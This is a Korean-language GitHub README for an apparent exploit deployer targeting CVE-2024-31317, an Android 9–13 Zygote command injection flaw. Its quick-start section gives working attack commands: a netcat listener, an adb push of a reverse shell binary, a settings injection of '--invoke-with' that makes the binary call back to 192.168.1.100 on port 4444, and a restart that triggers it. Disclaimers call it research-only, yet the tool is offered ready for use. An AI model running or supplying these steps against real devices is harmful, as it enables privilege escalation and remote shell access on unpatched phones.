CVE-2024-31317 Deployer

🔒 보안 연구 성명

본 프로젝트는 보안 연구 및 교육 목적으로만 사용됩니다. 본 도구를 사용한 무단 테스트는 불법입니다. 작성자는 어떠한 오용이나 손해에 대해서도 책임을 지지 않습니다.

📋 개요

CVE-2024-31317은 Android 9부터 Android 13까지의 기기에 영향을 미치는 심각한 보안 취약점으로, WRITE_SECURE_SETTINGS 권한을 가진 애플리케이션이 명령어 삽입을 통해 시스템 수준 권한을 획득할 수 있게 합니다.

본 프로젝트는 해당 취약점에 대한 상세 기술 분석, 개념 증명 코드, 자동화된 배포 도구를 제공합니다.

✨ 주요 기능

📱 Android 9–13 전 버전 지원
🛠️ 자동화된 배포 스크립트
🔄 리버스 셸 연결
📊 상세 기술 문서
🎯 모듈식 설계

🐛 취약점 상세 정보

CVE ID: CVE-2024-31317
취약점 유형: 명령어 삽입
심각도: 높음 (High)
CVSS 점수: 7.8
영향받는 구성 요소: Android Zygote 프로세스
수정 상태: 2024년 6월 Android 보안 패치에서 수정됨

🎯 영향 범위

영향을 받는 버전

✅ Android 9–13

영향을 받지 않는 버전

❌ Android 14+ (수정됨)
❌ 2024년 6월 이상 보안 패치가 설치된 기기

📁 프로젝트 구조

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 빠른 시작

1. 프로젝트 클론

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. Payload 컴파일

chmod +x compile.sh
./compile.sh

3. 배포

# 리스너 시작
nc -lvnp 4444

# 푸시 및 실행
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# payload 삽입
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# 취약점 트리거
adb shell stop && adb shell start

📚 문서

⚠️ 면책 조항

본 프로젝트는 보안 연구 및 교육 목적으로만 제공됩니다. 본 도구를 사용함으로써 다음 사항에 동의하는 것으로 간주됩니다:

모든 관련 법률 및 규정 준수
합법적인 보안 연구에만 사용
귀하의 행동에 대한 모든 책임

📜 라이선스

본 프로젝트는 MIT 라이선스에 따라 배포됩니다 – 자세한 내용은 LICENSE 파일을 참조하세요.

👨‍💻 저자

fcy10012 - GitHub

🙏 감사의 말

참고 프로젝트: WebLDix/CVE-2024-31317-PoC-Deployer

⭐ 이 프로젝트가 도움이 되셨다면, 별표(Star)를 눌러주세요!

CVE-2024-31317-Deployer

인기